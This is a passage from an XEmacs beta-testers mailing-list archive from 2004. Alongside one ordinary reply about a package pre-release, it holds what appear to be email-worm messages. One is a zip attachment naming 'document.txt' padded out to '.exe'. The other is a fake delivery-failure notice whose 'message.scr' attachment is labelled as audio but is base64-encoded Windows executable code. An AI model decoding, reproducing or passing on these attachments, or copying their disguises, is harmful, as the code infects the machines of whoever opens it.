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 AgAAAQAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAzP//AGhXWAAA AAAAgICAAP///wDAwMAA/wAAAAD//wC/AAAAAAD/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACIhEiIiIiIiIiIiIiIiIiIiITVVVVVVVVVVVVVVJSIiIiNERERERERERERERFJSIiIjRERE REREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERERESVRERJVFJSIiIjRIiIiIhESVVV WVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJVFJSIiIjRERERERERESVSVRSUiIi I0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIjRIiIiIiIiIhESURSUiIiI0RERERE REREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhE UlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERSUiIiI0Q5kkRCREREREREUlIiIiNE MiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0QyIndyRIiIiIhEUlIiIiNENEJ3ckRE RERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiREREREREUlIiIiNEMzIiIkRERERERFJS IiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIiIiNCRCRCRCRCRCRCRDJSIiIiJDND NDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAA B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH+AAAD/////+hHOgwQAFp wP1DA8AFwzieJiijEAPB+BAl/3+HAMOLRCRVBBLpVezsUQdTVlcz/zGJffzUFRxgICiL8GjI wDcPt0UIUGRWJhgh2FORFRQyUA4QITvHiYo8dCoWEQwNV2iArMBqAvGwEhFA/3VsDIo0CIiD +Pu/VAF1BDPA60HQ2zsD93YY6GH/HAKZuRsBUvH5i4CMMBQDQzveHnLojcz8V+F1bAh9eASK LgkRZ3o5sfwPlNhfXilbybIcgYxkDHxWcL5gBAxXjYWcb/OiplBqYCkVLKwNPSgNiCzg+06M 1xS8RvcAgH3+XIs1JMU9v+BF4XQKIiVXBdYhCmjQsC8dgL3ciVyhQjwgIf414aE5EDRhMAlq Zegyu/4QWZM/vQqDUI7KJpEgQbAGr3JECGrbBSjERqPkH8gWPIk9tyMtdFMUNOhsRXZ1IsYD FTg1fFBRWhIJdViWhRLAdAVUTRNGFSM0ERR1GQ9qAecwSBIC9NCQMTDCEAC0ODBAMpAJdCQQ Q1UnbJfOjmnPbQphCJ92j2Ug70Xvbu9j73LveexwK2X8ZM8mV+1vI5tMRA3WL+UWFM0wYkqf ClPZa1lOsydcLvND81p2M6gxcCr/w4U8NWSnLrhTDspGgZ9nmWgVc/lCVJEOhGsZA3X4ZXL2 bwBuZmlnOXguZHFs4RBCSU4YQVJZEEZWA1Byb3RlY5suo3i2MWBcAADgAeAC4CDiEM4RBA3o Fr4RfaQOeyiDRiIBjCgJEIkgFkmJFMDCnwEVgANvCBQHkAJmE8AC0BAJcFX/A7wIUgdBAgYT Co5CKAF3AWxwECif0QQIEHmZg/RE9/0mECKEEOL3jtACEJyRT70YCPCrARnSD48DgFx4wFQH sAOtBFIDOOqvAAAB4CBwQA5LRVJOYEwzMi5kcWzgRuhvBnNlSGFuGO3AWnI+aXQ6Rm4Vvr8p YQscQR1Wn3pHb2ZS53NRdXJjnzZPOqlrDWJhZBYQSWlutm56Sj10Tb5kKWxdsyJG8XB5SVKb 5HRGRMAkV8Frb3dzRN8+5GP56nmlOaAtFE5hbUyGUHLw8mTjnExzanYfTGliO1MvPlRQk0PP 7m40DRhMYbxFctxc68WMTXUIeMxOAwAAAAAAAAAAAAAAAABQSwECFAAKAAAAAADShpowo4gd 3oBzAACAcwAAUwAAAAAAAAAAACAAAAAAAAAAZG9jdW1lbnQudHh0ICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5l eGVQSwUGAAAAAAEAAQCBAAAA8XMAAAAA ------=_NextPart_000_0016----=_NextPart_000_0016-- From xemacs-beta-admin@xemacs.org Mon Apr 26 14:27:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QIR2s04800; Mon, 26 Apr 2004 14:27:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QIQad04263 for xemacs-beta-mailman@xemacs.org; Mon, 26 Apr 2004 14:26:36 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3QIQYi04218 for turnbull@tux.org; Mon, 26 Apr 2004 14:26:35 -0400 Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QIQXs04186; Mon, 26 Apr 2004 14:26:33 -0400 Received: from sfwd00.aul.t-online.de by mailout06.sul.t-online.com with smtp id 1BIAoK-0000oO-01; Mon, 26 Apr 2004 20:26:32 +0200 Received: from D5DC120J.t-online.de (ZkorfgZfYeDB2JhLFd+eOReYjfpbtwqhgkzTVjqPac41K1s79rxych@[217.229.1.26]) by afwd00.sul.t-online.com with esmtp id 1BIAo8-0aMr2W0; Mon, 26 Apr 2004 20:26:20 +0200 To: xemacs-beta@xemacs.org Subject: Re: XEmacs Packages have been pre-released (2004-04-25-12) X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Organization: The XEmacs Project From: Adrian Aichner Date: Mon, 26 Apr 2004 20:27:30 +0200 In-Reply-To: (Norbert Koch's message of "Sun, 25 Apr 2004 12:44:07 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: ZkorfgZfYeDB2JhLFd+eOReYjfpbtwqhgkzTVjqPac41K1s79rxych X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , viteno@t-online.de (Norbert Koch) writes: > Hey there everyone. > > I have just added the following packages to the 'Pre-Releases' > directory: > > New Packages in Pre-Release: > =========================== > edit-utils-2.12-pkg.tar.gz upstream version: none Thanks Norbert, the Pre-Release installed fine here! 9 lines matching ^[^" ]* package in buffer *Help: lossage*. 17:Creating package list ... 18:Added package `edit-utils' 21:Warning: Error in loading package file "c:\Program Files\XEmacs\xemacs-packages\lisp\edit-utils\auto-autoloads": Already loaded 79:Installing package `edit-utils' ... 80:Removing old files for package "edit-utils" ... done 81:Removing old files for package "edit-utils" ... 204:Retrieving package `edit-utils-2.12-pkg.tar.gz' ... 208:Creating package list ... 211:Updated package database Adrian <84 lines deleted by Adrian Aichner> -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From username@application.com Mon Apr 26 14:47:04 2004 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3QIl1s29749 for ; Mon, 26 Apr 2004 14:47:02 -0400 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by yxa.extundo.com (8.12.11/8.12.11) with ESMTP id i3QIkpT0011529 for ; Mon, 26 Apr 2004 20:46:53 +0200 Message-Id: <200404261846.i3QIkpT0011529@yxa.extundo.com> From: username@application.com To: xemacs-beta-archive@xemacs.org Subject: Mail Delivery (failure xemacs-beta-archive@xemacs.org) Date: Mon, 26 Apr 2004 14:19:22 -0700 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal X-Spam-Flag: YES X-Spam-Status: Yes, hits=11.6 required=5.0 tests=BAYES_44,HTML_MESSAGE, HTML_RELAYING_FRAME,MICROSOFT_EXECUTABLE,MIME_SUSPECT_NAME, MISSING_MIMEOLE,NO_REAL_NAME,PRIORITY_NO_NAME,RCVD_IN_DYNABLOCK, RCVD_IN_SORBS autolearn=no version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on yxa.extundo.com This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001C_01C0CA80.6B015D10" ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_001_001C_01C0CA80.6B015D10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.xemacs.org/inbox/xemacs-beta-archive/read.php?sessionid-13903
 
------=_NextPart_001_001C_01C0CA80.6B015D10-- ------=_NextPart_000_001B_01C0CA80.6B015D10 Content-Type: audio/x-wav; name="message.scr" Content-Transfer-Encoding: base64 Content-ID: <031401Mfdab4$3f3dL780$73387018@57W81fa70Re> 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 